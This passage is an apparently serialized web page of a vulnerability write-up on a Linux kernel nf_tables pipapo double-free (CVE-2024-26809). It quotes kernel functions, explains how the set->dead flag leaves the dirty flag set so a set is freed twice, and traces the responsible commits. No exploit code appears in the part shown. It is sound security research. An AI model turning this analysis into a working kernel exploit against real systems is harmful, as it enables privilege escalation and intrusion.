nf_tables_commit_release",{"type":19,"tag":168,"props":50331,"children":50332},{"style":212},[50333],{"type":24,"value":50334},"(net);\n",{"type":19,"tag":168,"props":50336,"children":50337},{"class":170,"line":1252},[50338],{"type":19,"tag":168,"props":50339,"children":50340},{"emptyLinePlaceholder":14},[50341],{"type":24,"value":1093},{"type":19,"tag":168,"props":50343,"children":50344},{"class":170,"line":1260},[50345,50350,50354],{"type":19,"tag":168,"props":50346,"children":50347},{"style":419},[50348],{"type":24,"value":50349}," return",{"type":19,"tag":168,"props":50351,"children":50352},{"style":192},[50353],{"type":24,"value":437},{"type":19,"tag":168,"props":50355,"children":50356},{"style":212},[50357],{"type":24,"value":412},{"type":19,"tag":168,"props":50359,"children":50360},{"class":170,"line":1320},[50361],{"type":19,"tag":168,"props":50362,"children":50363},{"style":212},[50364],{"type":24,"value":1326},{"type":19,"tag":20,"props":50366,"children":50367},{},[50368,50369,50375,50377,50382],{"type":24,"value":14062},{"type":19,"tag":27,"props":50370,"children":50372},{"className":50371},[],[50373],{"type":24,"value":50374},"nft_set_commit_update()",{"type":24,"value":50376}," function in the code above will call the ",{"type":19,"tag":27,"props":50378,"children":50380},{"className":50379},[],[50381],{"type":24,"value":49828},{"type":24,"value":50383}," method for any objects that were marked as pending an update.",{"type":19,"tag":158,"props":50385,"children":50387},{"className":13963,"code":50386,"language":543,"meta":7,"style":7},"static void nft_set_commit_update(struct list_head *set_update_list)\n{\n struct nft_set *set, *next;\n\n list_for_each_entry_safe(set, next, set_update_list, pending_update) {\n list_del_init(&set->pending_update);\n\n if (!set->ops->commit || set->dead) // [4]\n continue;\n\n set->ops->commit(set); // [5]\n }\n}\n",[50388],{"type":19,"tag":27,"props":50389,"children":50390},{"__ignoreMap":7},[50391,50431,50438,50467,50474,50487,50519,50526,50587,50598,50605,50639,50646],{"type":19,"tag":168,"props":50392,"children":50393},{"class":170,"line":171},[50394,50398,50402,50406,50410,50414,50419,50423,50427],{"type":19,"tag":168,"props":50395,"children":50396},{"style":382},[50397],{"type":24,"value":48527},{"type":19,"tag":168,"props":50399,"children":50400},{"style":382},[50401],{"type":24,"value":48532},{"type":19,"tag":168,"props":50403,"children":50404},{"style":175},[50405],{"type":24,"value":50297},{"type":19,"tag":168,"props":50407,"children":50408},{"style":212},[50409],{"type":24,"value":500},{"type":19,"tag":168,"props":50411,"children":50412},{"style":382},[50413],{"type":24,"value":6842},{"type":19,"tag":168,"props":50415,"children":50416},{"style":212},[50417],{"type":24,"value":50418}," list_head ",{"type":19,"tag":168,"props":50420,"children":50421},{"style":399},[50422],{"type":24,"value":2002},{"type":19,"tag":168,"props":50424,"children":50425},{"style":393},[50426],{"type":24,"value":50310},{"type":19,"tag":168,"props":50428,"children":50429},{"style":212},[50430],{"type":24,"value":557},{"type":19,"tag":168,"props":50432,"children":50433},{"class":170,"line":198},[50434],{"type":19,"tag":168,"props":50435,"children":50436},{"style":212},[50437],{"type":24,"value":8324},{"type":19,"tag":168,"props":50439,"children":50440},{"class":170,"line":415},[50441,50445,50449,50453,50458,50462],{"type":19,"tag":168,"props":50442,"children":50443},{"style":382},[50444],{"type":24,"value":18606},{"type":19,"tag":168,"props":50446,"children":50447},{"style":212},[50448],{"type":24,"value":48582},{"type":19,"tag":168,"props":50450,"children":50451},{"style":399},[50452],{"type":24,"value":2002},{"type":19,"tag":168,"props":50454,"children":50455},{"style":212},[50456],{"type":24,"value":50457},"set, ",{"type":19,"tag":168,"props":50459,"children":50460},{"style":399},[50461],{"type":24,"value":2002},{"type":19,"tag":168,"props":50463,"children":50464},{"style":212},[50465],{"type":24,"value":50466},"next;\n",{"type":19,"tag":168,"props":50468,"children":50469},{"class":170,"line":450},[50470],{"type":19,"tag":168,"props":50471,"children":50472},{"emptyLinePlaceholder":14},[50473],{"type":24,"value":1093},{"type":19,"tag":168,"props":50475,"children":50476},{"class":170,"line":560},[50477,50482],{"type":19,"tag":168,"props":50478,"children":50479},{"style":175},[50480],{"type":24,"value":50481}," list_for_each_entry_safe",{"type":19,"tag":168,"props":50483,"children":50484},{"style":212},[50485],{"type":24,"value":50486},"(set, next, set_update_list, pending_update) {\n",{"type":19,"tag":168,"props":50488,"children":50489},{"class":170,"line":666},[50490,50495,50499,50503,50507,50511,50515],{"type":19,"tag":168,"props":50491,"children":50492},{"style":175},[50493],{"type":24,"value":50494}," list_del_init",{"type":19,"tag":168,"props":50496,"children":50497},{"style":212},[50498],{"type":24,"value":500},{"type":19,"tag":168,"props":50500,"children":50501},{"style":399},[50502],{"type":24,"value":505},{"type":19,"tag":168,"props":50504,"children":50505},{"style":393},[50506],{"type":24,"value":48502},{"type":19,"tag":168,"props":50508,"children":50509},{"style":212},[50510],{"type":24,"value":11203},{"type":19,"tag":168,"props":50512,"children":50513},{"style":393},[50514],{"type":24,"value":50204},{"type":19,"tag":168,"props":50516,"children":50517},{"style":212},[50518],{"type":24,"value":1249},{"type":19,"tag":168,"props":50520,"children":50521},{"class":170,"line":694},[50522],{"type":19,"tag":168,"props":50523,"children":50524},{"emptyLinePlaceholder":14},[50525],{"type":24,"value":1093},{"type":19,"tag":168,"props":50527,"children":50528},{"class":170,"line":707},[50529,50533,50537,50541,50545,50549,50553,50557,50561,50565,50570,50574,50578,50582],{"type":19,"tag":168,"props":50530,"children":50531},{"style":419},[50532],{"type":24,"value":28866},{"type":19,"tag":168,"props":50534,"children":50535},{"style":212},[50536],{"type":24,"value":461},{"type":19,"tag":168,"props":50538,"children":50539},{"style":399},[50540],{"type":24,"value":18076},{"type":19,"tag":168,"props":50542,"children":50543},{"style":393},[50544],{"type":24,"value":48502},{"type":19,"tag":168,"props":50546,"children":50547},{"style":212},[50548],{"type":24,"value":11203},{"type":19,"tag":168,"props":50550,"children":50551},{"style":393},[50552],{"type":24,"value":50153},{"type":19,"tag":168,"props":50554,"children":50555},{"style":212},[50556],{"type":24,"value":11203},{"type":19,"tag":168,"props":50558,"children":50559},{"style":393},[50560],{"type":24,"value":50162},{"type":19,"tag":168,"props":50562,"children":50563},{"style":399},[50564],{"type":24,"value":21164},{"type":19,"tag":168,"props":50566,"children":50567},{"style":393},[50568],{"type":24,"value":50569}," set",{"type":19,"tag":168,"props":50571,"children":50572},{"style":212},[50573],{"type":24,"value":11203},{"type":19,"tag":168,"props":50575,"children":50576},{"style":393},[50577],{"type":24,"value":49972},{"type":19,"tag":168,"props":50579,"children":50580},{"style":212},[50581],{"type":24,"value":524},{"type":19,"tag":168,"props":50583,"children":50584},{"style":373},[50585],{"type":24,"value":50586}," // [4]\n",{"type":19,"tag":168,"props":50588,"children":50589},{"class":170,"line":725},[50590,50594],{"type":19,"tag":168,"props":50591,"children":50592},{"style":419},[50593],{"type":24,"value":48974},{"type":19,"tag":168,"props":50595,"children":50596},{"style":212},[50597],{"type":24,"value":412},{"type":19,"tag":168,"props":50599,"children":50600},{"class":170,"line":746},[50601],{"type":19,"tag":168,"props":50602,"children":50603},{"emptyLinePlaceholder":14},[50604],{"type":24,"value":1093},{"type":19,"tag":168,"props":50606,"children":50607},{"class":170,"line":755},[50608,50613,50617,50621,50625,50629,50634],{"type":19,"tag":168,"props":50609,"children":50610},{"style":393},[50611],{"type":24,"value":50612}," set",{"type":19,"tag":168,"props":50614,"children":50615},{"style":212},[50616],{"type":24,"value":11203},{"type":19,"tag":168,"props":50618,"children":50619},{"style":393},[50620],{"type":24,"value":50153},{"type":19,"tag":168,"props":50622,"children":50623},{"style":212},[50624],{"type":24,"value":11203},{"type":19,"tag":168,"props":50626,"children":50627},{"style":175},[50628],{"type":24,"value":50162},{"type":19,"tag":168,"props":50630,"children":50631},{"style":212},[50632],{"type":24,"value":50633},"(set);",{"type":19,"tag":168,"props":50635,"children":50636},{"style":373},[50637],{"type":24,"value":50638}," // [5]\n",{"type":19,"tag":168,"props":50640,"children":50641},{"class":170,"line":1008},[50642],{"type":19,"tag":168,"props":50643,"children":50644},{"style":212},[50645],{"type":24,"value":7037},{"type":19,"tag":168,"props":50647,"children":50648},{"class":170,"line":1025},[50649],{"type":19,"tag":168,"props":50650,"children":50651},{"style":212},[50652],{"type":24,"value":1326},{"type":19,"tag":20,"props":50654,"children":50655},{},[50656,50658,50664,50666,50671,50672,50677],{"type":24,"value":50657},"Later on, the ",{"type":19,"tag":27,"props":50659,"children":50661},{"className":50660},[],[50662],{"type":24,"value":50663},"nf_tables_commit_release()",{"type":24,"value":50665}," function is called to free any objects that were marked for release, and eventually calls the ",{"type":19,"tag":27,"props":50667,"children":50669},{"className":50668},[],[50670],{"type":24,"value":48502},{"type":24,"value":49822},{"type":19,"tag":27,"props":50673,"children":50675},{"className":50674},[],[50676],{"type":24,"value":49836},{"type":24,"value":50678}," method.",{"type":19,"tag":158,"props":50680,"children":50682},{"className":13963,"code":50681,"language":543,"meta":7,"style":7},"static void nf_tables_commit_release(struct net *net)\n{\n[...]\n schedule_work(&trans_destroy_work);\n[...]\n}\n[...]\nstatic void nf_tables_trans_destroy_work(struct work_struct *w)\n{\n[...]\n list_for_each_entry_safe(trans, next, &head, list) {\n nft_trans_list_del(trans);\n nft_commit_release(trans);\n }\n}\n[...]\nstatic void nft_commit_release(struct nft_trans *trans)\n{\n switch (trans->msg_type) {\n[...]\n case NFT_MSG_DELSET:\n case NFT_MSG_DESTROYSET:\n nft_set_destroy(&trans->ctx, nft_trans_set(trans));\n[...]\n}\n[...]\nstatic void nft_set_destroy(const struct nft_ctx *ctx, struct nft_set *set)\n{\n[...]\n set->ops->destroy(ctx, set);\n[...]\n}\n",[50683],{"type":19,"tag":27,"props":50684,"children":50685},{"__ignoreMap":7},[50686,50725,50732,50739,50760,50767,50774,50781,50822,50829,50836,50857,50870,50882,50889,50896,50903,50944,50951,50979,50986,50999,51011,51052,51059,51066,51073,51131,51138,51145,51174,51181],{"type":19,"tag":168,"props":50687,"children":50688},{"class":170,"line":171},[50689,50693,50697,50701,50705,50709,50713,50717,50721],{"type":19,"tag":168,"props":50690,"children":50691},{"style":382},[50692],{"type":24,"value":48527},{"type":19,"tag":168,"props":50694,"children":50695},{"style":382},[50696],{"type":24,"value":48532},{"type":19,"tag":168,"props":50698,"children":50699},{"style":175},[50700],{"type":24,"value":50329},{"type":19,"tag":168,"props":50702,"children":50703},{"style":212},[50704],{"type":24,"value":500},{"type":19,"tag":168,"props":50706,"children":50707},{"style":382},[50708],{"type":24,"value":6842},{"type":19,"tag":168,"props":50710,"children":50711},{"style":212},[50712],{"type":24,"value":49485},{"type":19,"tag":168,"props":50714,"children":50715},{"style":399},[50716],{"type":24,"value":2002},{"type":19,"tag":168,"props":50718,"children":50719},{"style":393},[50720],{"type":24,"value":49494},{"type":19,"tag":168,"props":50722,"children":50723},{"style":212},[50724],{"type":24,"value":557},{"type":19,"tag":168,"props":50726,"children":50727},{"class":170,"line":198},[50728],{"type":19,"tag":168,"props":50729,"children":50730},{"style":212},[50731],{"type":24,"value":8324},{"type":19,"tag":168,"props":50733,"children":50734},{"class":170,"line":415},[50735],{"type":19,"tag":168,"props":50736,"children":50737},{"style":212},[50738],{"type":24,"value":7761},{"type":19,"tag":168,"props":50740,"children":50741},{"class":170,"line":450},[50742,50747,50751,50755],{"type":19,"tag":168,"props":50743,"children":50744},{"style":175},[50745],{"type":24,"value":50746}," schedule_work",{"type":19,"tag":168,"props":50748,"children":50749},{"style":212},[50750],{"type":24,"value":500},{"type":19,"tag":168,"props":50752,"children":50753},{"style":399},[50754],{"type":24,"value":505},{"type":19,"tag":168,"props":50756,"children":50757},{"style":212},[50758],{"type":24,"value":50759},"trans_destroy_work);\n",{"type":19,"tag":168,"props":50761,"children":50762},{"class":170,"line":560},[50763],{"type":19,"tag":168,"props":50764,"children":50765},{"style":212},[50766],{"type":24,"value":7761},{"type":19,"tag":168,"props":50768,"children":50769},{"class":170,"line":666},[50770],{"type":19,"tag":168,"props":50771,"children":50772},{"style":212},[50773],{"type":24,"value":1326},{"type":19,"tag":168,"props":50775,"children":50776},{"class":170,"line":694},[50777],{"type":19,"tag":168,"props":50778,"children":50779},{"style":212},[50780],{"type":24,"value":7761},{"type":19,"tag":168,"props":50782,"children":50783},{"class":170,"line":707},[50784,50788,50792,50797,50801,50805,50810,50814,50818],{"type":19,"tag":168,"props":50785,"children":50786},{"style":382},[50787],{"type":24,"value":48527},{"type":19,"tag":168,"props":50789,"children":50790},{"style":382},[50791],{"type":24,"value":48532},{"type":19,"tag":168,"props":50793,"children":50794},{"style":175},[50795],{"type":24,"value":50796}," nf_tables_trans_destroy_work",{"type":19,"tag":168,"props":50798,"children":50799},{"style":212},[50800],{"type":24,"value":500},{"type":19,"tag":168,"props":50802,"children":50803},{"style":382},[50804],{"type":24,"value":6842},{"type":19,"tag":168,"props":50806,"children":50807},{"style":212},[50808],{"type":24,"value":50809}," work_struct ",{"type":19,"tag":168,"props":50811,"children":50812},{"style":399},[50813],{"type":24,"value":2002},{"type":19,"tag":168,"props":50815,"children":50816},{"style":393},[50817],{"type":24,"value":47054},{"type":19,"tag":168,"props":50819,"children":50820},{"style":212},[50821],{"type":24,"value":557},{"type":19,"tag":168,"props":50823,"children":50824},{"class":170,"line":725},[50825],{"type":19,"tag":168,"props":50826,"children":50827},{"style":212},[50828],{"type":24,"value":8324},{"type":19,"tag":168,"props":50830,"children":50831},{"class":170,"line":746},[50832],{"type":19,"tag":168,"props":50833,"children":50834},{"style":212},[50835],{"type":24,"value":7761},{"type":19,"tag":168,"props":50837,"children":50838},{"class":170,"line":755},[50839,50843,50848,50852],{"type":19,"tag":168,"props":50840,"children":50841},{"style":175},[50842],{"type":24,"value":50481},{"type":19,"tag":168,"props":50844,"children":50845},{"style":212},[50846],{"type":24,"value":50847},"(trans, next, ",{"type":19,"tag":168,"props":50849,"children":50850},{"style":399},[50851],{"type":24,"value":505},{"type":19,"tag":168,"props":50853,"children":50854},{"style":212},[50855],{"type":24,"value":50856},"head, list) {\n",{"type":19,"tag":168,"props":50858,"children":50859},{"class":170,"line":1008},[50860,50865],{"type":19,"tag":168,"props":50861,"children":50862},{"style":175},[50863],{"type":24,"value":50864}," nft_trans_list_del",{"type":19,"tag":168,"props":50866,"children":50867},{"style":212},[50868],{"type":24,"value":50869},"(trans);\n",{"type":19,"tag":168,"props":50871,"children":50872},{"class":170,"line":1025},[50873,50878],{"type":19,"tag":168,"props":50874,"children":50875},{"style":175},[50876],{"type":24,"value":50877}," nft_commit_release",{"type":19,"tag":168,"props":50879,"children":50880},{"style":212},[50881],{"type":24,"value":50869},{"type":19,"tag":168,"props":50883,"children":50884},{"class":170,"line":1042},[50885],{"type":19,"tag":168,"props":50886,"children":50887},{"style":212},[50888],{"type":24,"value":7037},{"type":19,"tag":168,"props":50890,"children":50891},{"class":170,"line":1055},[50892],{"type":19,"tag":168,"props":50893,"children":50894},{"style":212},[50895],{"type":24,"value":1326},{"type":19,"tag":168,"props":50897,"children":50898},{"class":170,"line":1064},[50899],{"type":19,"tag":168,"props":50900,"children":50901},{"style":212},[50902],{"type":24,"value":7761},{"type":19,"tag":168,"props":50904,"children":50905},{"class":170,"line":1087},[50906,50910,50914,50919,50923,50927,50932,50936,50940],{"type":19,"tag":168,"props":50907,"children":50908},{"style":382},[50909],{"type":24,"value":48527},{"type":19,"tag":168,"props":50911,"children":50912},{"style":382},[50913],{"type":24,"value":48532},{"type":19,"tag":168,"props":50915,"children":50916},{"style":175},[50917],{"type":24,"value":50918}," nft_commit_release",{"type":19,"tag":168,"props":50920,"children":50921},{"style":212},[50922],{"type":24,"value":500},{"type":19,"tag":168,"props":50924,"children":50925},{"style":382},[50926],{"type":24,"value":6842},{"type":19,"tag":168,"props":50928,"children":50929},{"style":212},[50930],{"type":24,"value":50931}," nft_trans ",{"type":19,"tag":168,"props":50933,"children":50934},{"style":399},[50935],{"type":24,"value":2002},{"type":19,"tag":168,"props":50937,"children":50938},{"style":393},[50939],{"type":24,"value":50044},{"type":19,"tag":168,"props":50941,"children":50942},{"style":212},[50943],{"type":24,"value":557},{"type":19,"tag":168,"props":50945,"children":50946},{"class":170,"line":1096},[50947],{"type":19,"tag":168,"props":50948,"children":50949},{"style":212},[50950],{"type":24,"value":8324},{"type":19,"tag":168,"props":50952,"children":50953},{"class":170,"line":1105},[50954,50959,50963,50967,50971,50975],{"type":19,"tag":168,"props":50955,"children":50956},{"style":419},[50957],{"type":24,"value":50958}," switch",{"type":19,"tag":168,"props":50960,"children":50961},{"style":212},[50962],{"type":24,"value":461},{"type":19,"tag":168,"props":50964,"children":50965},{"style":393},[50966],{"type":24,"value":50044},{"type":19,"tag":168,"props":50968,"children":50969},{"style":212},[50970],{"type":24,"value":11203},{"type":19,"tag":168,"props":50972,"children":50973},{"style":393},[50974],{"type":24,"value":50082},{"type":19,"tag":168,"props":50976,"children":50977},{"style":212},[50978],{"type":24,"value":12250},{"type":19,"tag":168,"props":50980,"children":50981},{"class":170,"line":1174},[50982],{"type":19,"tag":168,"props":50983,"children":50984},{"style":212},[50985],{"type":24,"value":7761},{"type":19,"tag":168,"props":50987,"children":50988},{"class":170,"line":1182},[50989,50994],{"type":19,"tag":168,"props":50990,"children":50991},{"style":419},[50992],{"type":24,"value":50993}," case",{"type":19,"tag":168,"props":50995,"children":50996},{"style":212},[50997],{"type":24,"value":50998}," NFT_MSG_DELSET:\n",{"type":19,"tag":168,"props":51000,"children":51001},{"class":170,"line":1212},[51002,51006],{"type":19,"tag":168,"props":51003,"children":51004},{"style":419},[51005],{"type":24,"value":50993},{"type":19,"tag":168,"props":51007,"children":51008},{"style":212},[51009],{"type":24,"value":51010}," NFT_MSG_DESTROYSET:\n",{"type":19,"tag":168,"props":51012,"children":51013},{"class":170,"line":1220},[51014,51019,51023,51027,51031,51035,51039,51043,51047],{"type":19,"tag":168,"props":51015,"children":51016},{"style":175},[51017],{"type":24,"value":51018}," nft_set_destroy",{"type":19,"tag":168,"props":51020,"children":51021},{"style":212},[51022],{"type":24,"value":500},{"type":19,"tag":168,"props":51024,"children":51025},{"style":399},[51026],{"type":24,"value":505},{"type":19,"tag":168,"props":51028,"children":51029},{"style":212},[51030],{"type":24,"value":50044},{"type":19,"tag":168,"props":51032,"children":51033},{"style":399},[51034],{"type":24,"value":11203},{"type":19,"tag":168,"props":51036,"children":51037},{"style":393},[51038],{"type":24,"value":17735},{"type":19,"tag":168,"props":51040,"children":51041},{"style":212},[51042],{"type":24,"value":471},{"type":19,"tag":168,"props":51044,"children":51045},{"style":175},[51046],{"type":24,"value":50010},{"type":19,"tag":168,"props":51048,"children":51049},{"style":212},[51050],{"type":24,"value":51051},"(trans));\n",{"type":19,"tag":168,"props":51053,"children":51054},{"class":170,"line":1252},[51055],{"type":19,"tag":168,"props":51056,"children":51057},{"style":212},[51058],{"type":24,"value":7761},{"type":19,"tag":168,"props":51060,"children":51061},{"class":170,"line":1260},[51062],{"type":19,"tag":168,"props":51063,"children":51064},{"style":212},[51065],{"type":24,"value":1326},{"type":19,"tag":168,"props":51067,"children":51068},{"class":170,"line":1320},[51069],{"type":19,"tag":168,"props":51070,"children":51071},{"style":212},[51072],{"type":24,"value":7761},{"type":19,"tag":168,"props":51074,"children":51075},{"class":170,"line":6486},[51076,51080,51084,51089,51093,51097,51101,51105,51109,51114,51118,51122,51126],{"type":19,"tag":168,"props":51077,"children":51078},{"style":382},[51079],{"type":24,"value":48527},{"type":19,"tag":168,"props":51081,"children":51082},{"style":382},[51083],{"type":24,"value":48532},{"type":19,"tag":168,"props":51085,"children":51086},{"style":175},[51087],{"type":24,"value":51088}," nft_set_destroy",{"type":19,"tag":168,"props":51090,"children":51091},{"style":212},[51092],{"type":24,"value":500},{"type":19,"tag":168,"props":51094,"children":51095},{"style":382},[51096],{"type":24,"value":7097},{"type":19,"tag":168,"props":51098,"children":51099},{"style":382},[51100],{"type":24,"value":18606},{"type":19,"tag":168,"props":51102,"children":51103},{"style":212},[51104],{"type":24,"value":48554},{"type":19,"tag":168,"props":51106,"children":51107},{"style":399},[51108],{"type":24,"value":2002},{"type":19,"tag":168,"props":51110,"children":51111},{"style":212},[51112],{"type":24,"value":51113},"ctx, ",{"type":19,"tag":168,"props":51115,"children":51116},{"style":382},[51117],{"type":24,"value":6842},{"type":19,"tag":168,"props":51119,"children":51120},{"style":212},[51121],{"type":24,"value":48582},{"type":19,"tag":168,"props":51123,"children":51124},{"style":399},[51125],{"type":24,"value":2002},{"type":19,"tag":168,"props":51127,"children":51128},{"style":212},[51129],{"type":24,"value":51130},"set)\n",{"type":19,"tag":168,"props":51132,"children":51133},{"class":170,"line":6504},[51134],{"type":19,"tag":168,"props":51135,"children":51136},{"style":212},[51137],{"type":24,"value":8324},{"type":19,"tag":168,"props":51139,"children":51140},{"class":170,"line":6549},[51141],{"type":19,"tag":168,"props":51142,"children":51143},{"style":212},[51144],{"type":24,"value":7761},{"type":19,"tag":168,"props":51146,"children":51147},{"class":170,"line":6655},[51148,51152,51156,51160,51164,51169],{"type":19,"tag":168,"props":51149,"children":51150},{"style":393},[51151],{"type":24,"value":50569},{"type":19,"tag":168,"props":51153,"children":51154},{"style":212},[51155],{"type":24,"value":11203},{"type":19,"tag":168,"props":51157,"children":51158},{"style":393},[51159],{"type":24,"value":50153},{"type":19,"tag":168,"props":51161,"children":51162},{"style":212},[51163],{"type":24,"value":11203},{"type":19,"tag":168,"props":51165,"children":51166},{"style":175},[51167],{"type":24,"value":51168},"destroy",{"type":19,"tag":168,"props":51170,"children":51171},{"style":212},[51172],{"type":24,"value":51173},"(ctx, set);\n",{"type":19,"tag":168,"props":51175,"children":51176},{"class":170,"line":20965},[51177],{"type":19,"tag":168,"props":51178,"children":51179},{"style":212},[51180],{"type":24,"value":7761},{"type":19,"tag":168,"props":51182,"children":51183},{"class":170,"line":21000},[51184],{"type":19,"tag":168,"props":51185,"children":51186},{"style":212},[51187],{"type":24,"value":1326},{"type":19,"tag":20,"props":51189,"children":51190},{},[51191,51193,51198,51200,51205,51207,51213,51215,51220,51222,51227,51229,51233,51235,51240,51241,51245,51247,51253],{"type":24,"value":51192},"It may appear as if it would be impossible to make ",{"type":19,"tag":27,"props":51194,"children":51196},{"className":51195},[],[51197],{"type":24,"value":48456},{"type":24,"value":51199}," true in the release step because the ",{"type":19,"tag":27,"props":51201,"children":51203},{"className":51202},[],[51204],{"type":24,"value":49828},{"type":24,"value":51206}," method is always invoked first...\nHowever, one last piece brings this bug to life: the ",{"type":19,"tag":27,"props":51208,"children":51210},{"className":51209},[],[51211],{"type":24,"value":51212},"set->dead",{"type":24,"value":51214}," flag. If a ",{"type":19,"tag":27,"props":51216,"children":51218},{"className":51217},[],[51219],{"type":24,"value":48502},{"type":24,"value":51221}," was marked for deletion, it receives the ",{"type":19,"tag":27,"props":51223,"children":51225},{"className":51224},[],[51226],{"type":24,"value":51212},{"type":24,"value":51228}," flag ",{"type":19,"tag":168,"props":51230,"children":51231},{},[51232],{"type":24,"value":519},{"type":24,"value":51234},". If this flag is set, then the commit path will skip any commitments to this ",{"type":19,"tag":27,"props":51236,"children":51238},{"className":51237},[],[51239],{"type":24,"value":48502},{"type":24,"value":3893},{"type":19,"tag":168,"props":51242,"children":51243},{},[51244],{"type":24,"value":14978},{"type":24,"value":51246},". This is extremely convenient for us and will allow us to trigger the double-free because the ",{"type":19,"tag":27,"props":51248,"children":51250},{"className":51249},[],[51251],{"type":24,"value":51252},"priv ->dirty",{"type":24,"value":51254}," flag is not cleared when it should have been.",{"type":19,"tag":36,"props":51256,"children":51258},{"id":51257},"tracing-the-guilty-commit",[51259],{"type":24,"value":51260},"Tracing the guilty commit",{"type":19,"tag":20,"props":51262,"children":51263},{},[51264,51266,51273,51275,51281,51283,51288,51290,51296],{"type":24,"value":51265},"The above scenario raises some interesting suppositions about how this vulnerability was introduced. See, any ",{"type":19,"tag":269,"props":51267,"children":51270},{"href":51268,"rel":51269},"https://ubuntu.com/security/CVE-2024-26809",[273],[51271],{"type":24,"value":51272},"advisories",{"type":24,"value":51274}," about this vulnerability will say it was introduced by this ",{"type":19,"tag":269,"props":51276,"children":51279},{"href":51277,"rel":51278},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=9827a0e6e23bf43003cd3d5b7fb11baf59a35e1e",[273],[51280],{"type":24,"value":50162},{"type":24,"value":51282},", which sounds fair considering this added the weird code that frees twice in the same path. However, by checking the blame on the ",{"type":19,"tag":27,"props":51284,"children":51286},{"className":51285},[],[51287],{"type":24,"value":51212},{"type":24,"value":51289}," flag, which was what actually made this exploitable, we will learn that it was only introduced over a year after the commit above in this ",{"type":19,"tag":269,"props":51291,"children":51294},{"href":51292,"rel":51293},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=5f68718b34a531a556f2f50300ead2862278da26",[273],[51295],{"type":24,"value":50162},{"type":24,"value":948},{"type":19,"tag":20,"props":51298,"children":51299},{},[51300],{"type":24,"value":51301},"By reading the message of the first commit, we can finally understand why this code was added:",{"type":19,"tag":158,"props":51303,"children":51307},{"className":51304,"code":51305,"language":51306,"meta":7,"style":7},"language-txt shiki shiki-themes slack-dark","New elements that reside in the clone are not released in case that the\ntransaction is aborted.\n\n[16302.231754] ------------[ cut here ]------------\n[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[...]\n[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G W 5.19.0-rc3+ #155\n[...]\n[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 05\n[...]\n[16302.231917] Call Trace:\n[16302.231919] \u003CTASK>\n[16302.231921] __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n[16302.231934] nf_tables_abort+0x30/0x50 [nf_tables]\n[16302.231946] nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n[16302.231952] ? __nla_validate_parse+0x48/0x190\n[16302.231959] nfnetlink_rcv+0x110/0x129 [nfnetlink]\n[16302.231963] netlink_unicast+0x211/0x340\n[16302.231969] netlink_sendmsg+0x21e/0x460\n\nAdd nft_set_pipapo_match_destroy() helper function to release the\nelements in the lookup tables.\n\nStefano Brivio says: \"We additionally look for elements pointers in the\ncloned matching data if priv->dirty is set, because that means that\ncloned data might point to additional elements we did not commit to the\nworking copy yet (such as the abort path case, but perhaps not limited\nto it).\"\n\nFixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary concatenation of ranges\")\nReviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\nSigned-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n","txt",[51308],{"type":19,"tag":27,"props":51309,"children":51310},{"__ignoreMap":7},[51311,51319,51327,51334,51342,51350,51357,51365,51372,51380,51388,51395,51403,51411,51419,51427,51435,51443,51451,51459,51467,51474,51482,51490,51497,51505,51513,51521,51529,51537,51544,51552,51560],{"type":19,"tag":168,"props":51312,"children":51313},{"class":170,"line":171},[51314],{"type":19,"tag":168,"props":51315,"children":51316},{},[51317],{"type":24,"value":51318},"New elements that reside in the clone are not released in case that the\n",{"type":19,"tag":168,"props":51320,"children":51321},{"class":170,"line":198},[51322],{"type":19,"tag":168,"props":51323,"children":51324},{},[51325],{"type":24,"value":51326},"transaction is aborted.\n",{"type":19,"tag":168,"props":51328,"children":51329},{"class":170,"line":415},[51330],{"type":19,"tag":168,"props":51331,"children":51332},{"emptyLinePlaceholder":14},[51333],{"type":24,"value":1093},{"type":19,"tag":168,"props":51335,"children":51336},{"class":170,"line":450},[51337],{"type":19,"tag":168,"props":51338,"children":51339},{},[51340],{"type":24,"value":51341},"[16302.231754] ------------[ cut here ]------------\n",{"type":19,"tag":168,"props":51343,"children":51344},{"class":170,"line":560},[51345],{"type":19,"tag":168,"props":51346,"children":51347},{},[51348],{"type":24,"value":51349},"[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":19,"tag":168,"props":51351,"children":51352},{"class":170,"line":666},[51353],{"type":19,"tag":168,"props":51354,"children":51355},{},[51356],{"type":24,"value":7761},{"type":19,"tag":168,"props":51358,"children":51359},{"class":170,"line":694},[51360],{"type":19,"tag":168,"props":51361,"children":51362},{},[51363],{"type":24,"value":51364},"[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G W 5.19.0-rc3+ #155\n",{"type":19,"tag":168,"props":51366,"children":51367},{"class":170,"line":707},[51368],{"type":19,"tag":168,"props":51369,"children":51370},{},[51371],{"type":24,"value":7761},{"type":19,"tag":168,"props":51373,"children":51374},{"class":170,"line":725},[51375],{"type":19,"tag":168,"props":51376,"children":51377},{},[51378],{"type":24,"value":51379},"[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":19,"tag":168,"props":51381,"children":51382},{"class":170,"line":746},[51383],{"type":19,"tag":168,"props":51384,"children":51385},{},[51386],{"type":24,"value":51387},"[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 